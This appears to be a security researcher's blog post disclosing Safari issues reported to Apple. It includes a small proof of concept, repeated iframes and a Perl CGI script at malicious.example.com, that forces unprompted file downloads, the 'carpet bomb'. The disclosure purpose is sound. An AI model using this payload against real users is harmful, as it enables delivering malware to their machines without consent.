Safari Carpet Bomb
I recently communicated 3 security issues in the Safari browser to Apple.
Apple let me know that they will fix 1 of the issues I reported. I will not discuss the vulnerability Apple has promised to fix until they release the fix because it is a high risk issue affecting Safari on OSX and Windows.
I let Apple know that I'd like to discuss the 2 issues they won't be fixing with the security community and they let me know they are fine with it. A quote from my last email to Apple:
...since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community. Just let me know if you would like me to wait for some amount of time before I do this.
Response from Apple: We understand if you want to discuss these in the security community.
Before I get to the details, I want to make it extremely clear that the Apple security team has been a pleasure to communicate with. I sent them a couple of emails asking for clarifications, and they responded quickly and courteously every time. I want to publicly acknowledge that I appreciate this very much.
Here are the issues I reported:
1. Safari Carpet Bomb. It is possible for a rogue website to litter the user's Desktop (Windows) or Downloads directory (~/Downloads/ in OSX). This can happen because the Safari browser cannot be configured to obtain the user's permission before it downloads a resource. Safari downloads the resource without the user's consent and places it in a default location (unless changed).
Assume you visit a malicious site, http://malicious.example.com/, that serves the following HTML:
<HTML>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
...
...
...
...
<iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe>
</HTML>
Now assume that http://malicious.example.com/cgi-bin/carpet_bomb.cgi is the following:
#!/usr/bin/perl
print "Content-type: blah/blah\n\n"
Since Safari does not know how to render content-type of blah/blah, it will automatically start downloading carpet_bomb.cgi every time it is served. If you are using Safari in Windows, this is what will happen to your desktop once you visit http://malicious.example.com/ :
The implication of this is obvious: Malware downloaded to the user's desktop without the user's consent.
Apple does not feel this is a issue they want to tackle at this time. In my most recent email to Apple, I suggested that they incorporate an option in Safari so the browser can be configured to ask the user before anything is downloaded to the local file system. Apple agreed it was a good suggestion:
...the ability to have a preference to "Ask me before downloading anything" is a good suggestion. We can file that as an enhancement request for the Safari team. Please note that we are not treating this as a security issue, but a further measure to raise the bar against unwanted downloads. This will require a review with the Human Interface team. We want to set your expectations that this could take quite a while, if it ever gets incorporated.
[credit to BK have-it-your-way Rios for suggesting the term "Carpet Bomb" to describe this issue].
2. Sandbox not Applied to Local Resources. This issue is more of a feature set request than a vulnerability. For example, Internet Explorer warns users when a local resource such as an HTML file attempts to invoke client side scripting. I feel this is an important security feature because of user expectations: even the most sophisticated users differentiate between the risk of clicking on an executable they have downloaded (risk perceived to be higher) to clicking on a HTML file they have downloaded (risk perceived to be lower).
Apple's response was positive:
...we have been investigating the potential for a "safe" mode for local HTML. This is an area that requires a fairly deep investigation to address compatibility issues, and to determine the proper operation. Please understand that when we label this as a security hardening measure, we are not discounting the benefits that this could have.
3. [Undisclosed]. The third issue I reported to Apple is a high risk vulnerability in Safari that can be used to remotely steal local files from the user's file system. Apple responded positively and let me know that they are actively working to resolve the issue and issue a patch. I will post an update if I hear back from them.
I'd like to thank the Apple security team for their timely responses and for letting me discuss these issues with the security community.
